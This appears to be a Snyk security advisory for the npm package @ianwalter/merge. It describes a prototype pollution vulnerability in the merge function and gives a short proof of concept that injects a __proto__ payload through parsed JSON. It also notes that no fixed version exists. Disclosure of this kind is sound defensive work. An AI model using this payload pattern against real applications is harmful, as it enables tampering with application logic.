@ianwalter/merge@2.0.1

Recursively merge JavaScript Objects

  • latest version

    9.0.1

  • first published

    7 years ago

  • latest version published

    5 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the @ianwalter/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    @ianwalter/merge is a Recursively merge JavaScript Objects

    Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function. Maintainer suggests using @generates/merger instead.

    PoC

    const merge = require('@ianwalter/merge');
    let obj = {};
    console.log("Before being polluted: " + obj.polluted);
    var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
    merge({}, EVIL_JSON);
    console.log("After being polluted: " + obj.polluted);
    

    How to fix Prototype Pollution?

    There is no fixed version for @ianwalter/merge.

    *